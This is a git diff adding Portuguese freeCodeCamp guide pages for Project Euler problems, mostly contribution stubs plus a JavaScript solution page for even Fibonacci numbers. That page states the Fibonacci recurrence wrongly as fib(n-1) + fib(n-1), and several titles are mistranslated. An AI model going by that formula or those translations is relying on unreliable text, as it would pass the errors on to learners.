+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-198-ambiguous-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Ambiguous Numbers
+localeTitle: Números ambíguos
+---
+## Problema 198: números ambíguos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-198-ambiguous-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-199-iterative-circle-packing/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-199-iterative-circle-packing/index.md
new file mode 100644
index 0000000000..1ffefce95b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-199-iterative-circle-packing/index.md
@@ -0,0 +1,9 @@
+---
+title: Iterative Circle Packing
+localeTitle: Embalagem Iterativa Circular
+---
+## Problema 199: Embalagem com Círculo Iterativo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-199-iterative-circle-packing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-2-even-fibonacci-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-2-even-fibonacci-numbers/index.md
new file mode 100644
index 0000000000..b61c382890
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-2-even-fibonacci-numbers/index.md
@@ -0,0 +1,63 @@
+---
+title: Even Fibonacci Numbers
+localeTitle: Mesmo números de Fibonacci
+---
+## Problema 2: Mesmo os números de Fibonacci
+
+### Método:
+
+*   Uma seqüência de fibonacci é uma seqüência onde `fib(n) = fib(n-1) + fib(n-1)` .
+    
+*   Neste desafio, temos que somar todos os números pares até o `nth` termo na sequência.
+    
+*   Exemplo para `fiboEvenSum(10)` :
+    
+*   A sequência até o 10º termo é: 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144
+    
+*   A soma de todos os números pares na sequência acima é: 2 + 8 + 34 + 144 = 188
+    
+
+### Solução:
+
+#### Solução Básica - Iterativa:
+
+```js
+function fiboEvenSum(n) { 
+  let first = 1, second = 2, sum = 2, fibNum; // declaring and initializing variables 
+  if (n <= 1) return sum; // edge case 
+  for (let i = 2; i <= n; i++){  // looping till n 
+    fibNum = first + second;    // getting the ith fibonacci number 
+    first = second; 
+    second = fibNum; 
+    if (fibNum%2 == 0) sum+=fibNum;  // If even add to the sum variable 
+  } 
+  return sum; 
+ } 
+```
+
+#### Solução Avançada - Recursiva:
+
+```js
+// We use memoization technique to save ith fibonacci number to the fib array 
+ function fiboEvenSum(n){ 
+  const fib = [1, 2]; 
+  let sumEven = fib[1]; 
+  function fibonacci(n){ 
+    if (n <= 1) return fib[n]; // base condition 
+    else if (fib[n]) return fib[n]; // if the number exists in the array we cache it and return 
+    else { 
+      fib[n] = fibonacci(n-1) + fibonacci(n-2); // otherwise calculcate and save it to the array 
+      if (fib[n]%2 == 0) sumEven+=fib[n];  //if the number is even, add it to the sumEven variable 
+      return fib[n]; 
+    } 
+  } 
+  fibonacci(n); // run the recursive function 
+  return sumEven; 
+ } 
+```
+
+*   [Executar código](https://repl.it/@ezioda004/Project-Euler-Problem-2-Even-Fibonacci-Numbers)
+
+### Referências:
+
+*   [Wikipedia](https://en.wikipedia.org/wiki/Fibonacci_number)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-20-factorial-digit-sum/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-20-factorial-digit-sum/index.md
new file mode 100644
index 0000000000..37d306b879
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-20-factorial-digit-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Factorial digit sum
+localeTitle: Soma do dígito fatorial
+---
+## Problema 20: soma do dígito fatorial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-20-factorial-digit-sum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-200-find-the-200th-prime-proof-sqube-containing-the-contiguous-sub-string-200/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-200-find-the-200th-prime-proof-sqube-containing-the-contiguous-sub-string-200/index.md
new file mode 100644
index 0000000000..85e079a287
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-200-find-the-200th-prime-proof-sqube-containing-the-contiguous-sub-string-200/index.md
@@ -0,0 +1,9 @@
+---
+title: Find the 200th prime-proof sqube containing the contiguous sub-string "200"
+localeTitle: Encontre o 200º sqube à prova de prime contendo a sub-string contígua "200"
+---
+## Problema 200: Encontre o 200º sqube à prova de prime contendo a sub-string contígua "200"
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-200-find-the-200th-prime-proof-sqube-containing-the-contiguous-sub-string-200/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-201-subsets-with-a-unique-sum/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-201-subsets-with-a-unique-sum/index.md
new file mode 100644
index 0000000000..c3a8f92a0b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-201-subsets-with-a-unique-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Subsets with a unique sum
+localeTitle: Subconjuntos com uma soma única
+---
+## Problema 201: Subconjuntos com uma soma única
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-201-subsets-with-a-unique-sum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-202-laserbeam/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-202-laserbeam/index.md
new file mode 100644
index 0000000000..97fd7ddff8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-202-laserbeam/index.md
@@ -0,0 +1,9 @@
+---
+title: Laserbeam
+localeTitle: Raio Laser
+---
+## Problema 202: Laserbeam
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-202-laserbeam/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-203-squarefree-binomial-coefficients/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-203-squarefree-binomial-coefficients/index.md
new file mode 100644
index 0000000000..16cce553cf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-203-squarefree-binomial-coefficients/index.md
@@ -0,0 +1,9 @@
+---
+title: Squarefree Binomial Coefficients
+localeTitle: Coeficientes Binomiais Squarefree
+---
+## Problema 203: Coeficientes Binomiais Squarefree
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-203-squarefree-binomial-coefficients/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-204-generalised-hamming-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-204-generalised-hamming-numbers/index.md
new file mode 100644
index 0000000000..a287de9023
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-204-generalised-hamming-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Generalised Hamming Numbers
+localeTitle: Números de Hamming Generalizados
+---
+## Problema 204: Números de Hamming Generalizados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-204-generalised-hamming-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-205-dice-game/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-205-dice-game/index.md
new file mode 100644
index 0000000000..2342408186
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-205-dice-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Dice Game
+localeTitle: Jogo de dados
+---
+## Problema 205: Jogo de Dados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-205-dice-game/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-206-concealed-square/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-206-concealed-square/index.md
new file mode 100644
index 0000000000..c120c530bc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-206-concealed-square/index.md
@@ -0,0 +1,9 @@
+---
+title: Concealed Square
+localeTitle: Praça oculta
+---
+## Problema 206: Quadrado Escondido
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-206-concealed-square/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-207-integer-partition-equations/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-207-integer-partition-equations/index.md
new file mode 100644
index 0000000000..badadabfb5
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-207-integer-partition-equations/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer partition equations
+localeTitle: Equações de partições inteiras
+---
+## Problema 207: equações de partições inteiras
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-207-integer-partition-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-208-robot-walks/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-208-robot-walks/index.md
new file mode 100644
index 0000000000..be1ffd1251
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-208-robot-walks/index.md
@@ -0,0 +1,9 @@
+---
+title: Robot Walks
+localeTitle: Caminhadas Robô
+---
+## Problema 208: Caminhadas Robô
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-208-robot-walks/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-209-circular-logic/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-209-circular-logic/index.md
new file mode 100644
index 0000000000..f2dfeb0ebc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-209-circular-logic/index.md
@@ -0,0 +1,9 @@
+---
+title: Circular Logic
+localeTitle: Lógica Circular
+---
+## Problema 209: Lógica Circular
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-209-circular-logic/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-21-amicable-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-21-amicable-numbers/index.md
new file mode 100644
index 0000000000..ff945aed80
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-21-amicable-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Amicable numbers
+localeTitle: Números amigáveis
+---
+## Problema 21: números amigáveis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-21-amicable-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-210-obtuse-angled-triangles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-210-obtuse-angled-triangles/index.md
new file mode 100644
index 0000000000..527b3c6305
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-210-obtuse-angled-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Obtuse Angled Triangles
+localeTitle: Triângulos Angulares Obturados
+---
+## Problema 210: Triângulos Angulares Obturados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-210-obtuse-angled-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-211-divisor-square-sum/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-211-divisor-square-sum/index.md
new file mode 100644
index 0000000000..7a61778df6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-211-divisor-square-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Divisor Square Sum
+localeTitle: Soma quadrada do divisor
+---
+## Problema 211: soma quadrada do divisor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-211-divisor-square-sum/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-212-combined-volume-of-cuboids/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-212-combined-volume-of-cuboids/index.md
new file mode 100644
index 0000000000..25584d92ef
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-212-combined-volume-of-cuboids/index.md
@@ -0,0 +1,9 @@
+---
+title: Combined Volume of Cuboids
+localeTitle: Volume combinado de cubóides
+---
+## Problema 212: Volume Combinado de Cubóides
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-212-combined-volume-of-cuboids/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-213-flea-circus/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-213-flea-circus/index.md
new file mode 100644
index 0000000000..f00ab8f482
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-213-flea-circus/index.md
@@ -0,0 +1,9 @@
+---
+title: Flea Circus
+localeTitle: Circo da pulga
+---
+## Problema 213: Circo das Pulgas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-213-flea-circus/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-214-totient-chains/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-214-totient-chains/index.md
new file mode 100644
index 0000000000..203099a487
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-214-totient-chains/index.md
@@ -0,0 +1,9 @@
+---
+title: Totient Chains
+localeTitle: Chains totiente
+---
+## Problema 214: Cadeias Totient
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-214-totient-chains/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-215-crack-free-walls/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-215-crack-free-walls/index.md
new file mode 100644
index 0000000000..d73da5f12f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-215-crack-free-walls/index.md
@@ -0,0 +1,9 @@
+---
+title: Crack-free Walls
+localeTitle: Paredes sem rachaduras
+---
+## Problema 215: Paredes sem rachaduras
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-215-crack-free-walls/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-216-investigating-the-primality-of-numbers-of-the-form-2n2-1/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-216-investigating-the-primality-of-numbers-of-the-form-2n2-1/index.md
new file mode 100644
index 0000000000..ab13416dc1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-216-investigating-the-primality-of-numbers-of-the-form-2n2-1/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating the primality of numbers of the form 2n2-1
+localeTitle: Investigando a primalidade dos números da forma 2n2-1
+---
+## Problema 216: Investigando a primalidade dos números da forma 2n2-1
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-216-investigating-the-primality-of-numbers-of-the-form-2n2-1/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-217-balanced-numbers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-217-balanced-numbers/index.md
new file mode 100644
index 0000000000..2f4dbedf8d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-217-balanced-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Balanced Numbers
+localeTitle: Números Balanceados
+---
+## Problema 217: Números Balanceados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-217-balanced-numbers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-218-perfect-right-angled-triangles/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-218-perfect-right-angled-triangles/index.md
new file mode 100644
index 0000000000..6d1fba2c4f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-218-perfect-right-angled-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Perfect right-angled triangles
+localeTitle: Triângulos retângulos perfeitos
+---
+## Problema 218: triângulos retângulos perfeitos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-218-perfect-right-angled-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-219-skew-cost-coding/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-219-skew-cost-coding/index.md
new file mode 100644
index 0000000000..c6cc63dfaf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-219-skew-cost-coding/index.md
@@ -0,0 +1,9 @@
+---
+title: Skew-cost coding
+localeTitle: Codificação de custo enviesado
+---
+## Problema 219: codificação de custo skew
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-219-skew-cost-coding/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-22-names-scores/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-22-names-scores/index.md
new file mode 100644
index 0000000000..aed30dd6cc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-22-names-scores/index.md
@@ -0,0 +1,9 @@
+---
+title: Names scores
+localeTitle: Pontuações dos nomes
+---
+## Problema 22: pontuações dos nomes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-22-names-scores/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-220-heighway-dragon/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-220-heighway-dragon/index.md
new file mode 100644
index 0000000000..ca5157d012
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-220-heighway-dragon/index.md
@@ -0,0 +1,9 @@
+---
+title: Heighway Dragon
+localeTitle: Dragão de Heighway
+---
+## Problema 220: Dragão Heighway
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-220-heighway-dragon/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-221-alexandrian-integers/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-221-alexandrian-integers/index.md
new file mode 100644
index 0000000000..f886e20d07
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-221-alexandrian-integers/index.md
@@ -0,0 +1,9 @@
+---
+title: Alexandrian Integers
+localeTitle: Inteiros alexandrinos
+---
+## Problema 221: Inteiros de Alexandria
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-221-alexandrian-integers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-222-sphere-packing/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-222-sphere-packing/index.md
new file mode 100644
index 0000000000..7785688888
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-222-sphere-packing/index.md
@@ -0,0 +1,9 @@
+---
+title: Sphere Packing
+localeTitle: Embalagem de Esfera
+---
+## Problema 222: Embalagem de Esferas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-222-sphere-packing/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-223-almost-right-angled-triangles-i/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-223-almost-right-angled-triangles-i/index.md
new file mode 100644
index 0000000000..df1b761f11
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-223-almost-right-angled-triangles-i/index.md
@@ -0,0 +1,9 @@
+---
+title: Almost right-angled triangles I
+localeTitle: Triângulos quase retos I
+---
+## Problema 223: Triângulos quase retos I
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-223-almost-right-angled-triangles-i/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-224-almost-right-angled-triangles-ii/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-224-almost-right-angled-triangles-ii/index.md
new file mode 100644
index 0000000000..dc7f09686d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-224-almost-right-angled-triangles-ii/index.md
@@ -0,0 +1,9 @@
+---
+title: Almost right-angled triangles II
+localeTitle: Triângulos quase retos II
+---
+## Problema 224: Triângulos quase retos II
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-224-almost-right-angled-triangles-ii/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-225-tribonacci-non-divisors/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-225-tribonacci-non-divisors/index.md
new file mode 100644
index 0000000000..df71ef1748
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-225-tribonacci-non-divisors/index.md
@@ -0,0 +1,9 @@
+---
+title: Tribonacci non-divisors
+localeTitle: Tribunos não divisor
+---
+## Problema 225: Não divisores de Tribonacci
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-225-tribonacci-non-divisors/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-226-a-scoop-of-blancmange/index.md b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-226-a-scoop-of-blancmange/index.md
new file mode 100644
index 0000000000..60effa5613
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/coding-interview-prep/project-euler/problem-226-a-scoop-of-blancmange/index.md
@@ -0,0 +1,9 @@
+---
+title: A Scoop of Blancmange
+localeTitle: Uma colher de manjar
+---
+## Problema 226: uma colher de Blancmange
+
